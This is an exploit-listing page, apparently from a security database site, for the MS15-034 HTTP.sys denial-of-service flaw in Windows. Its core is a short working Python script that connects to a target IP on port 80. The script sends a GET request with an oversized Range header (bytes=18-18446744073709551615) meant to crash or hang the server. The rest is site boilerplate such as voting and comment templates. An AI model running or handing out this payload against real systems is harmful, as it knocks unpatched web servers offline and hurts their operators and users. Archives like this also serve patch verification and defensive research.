Microsoft Windows 8.1/7/others HTTP.sys Request Parsing DoS (MS15-034)

2015.04.16
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#Tested on Win Srv 2012R2. import socket,sys if len(sys.argv)<=1: sys.exit('Give me an IP') Host = sys.argv[1] def SendPayload(Payload, Host): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((Host, 80)) s.send(Payload) s.recv(1024) s.close() #Make sure iisstart.htm exist. Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n" Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n" SendPayload(Init, Host) SendPayload(Payload, Host)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top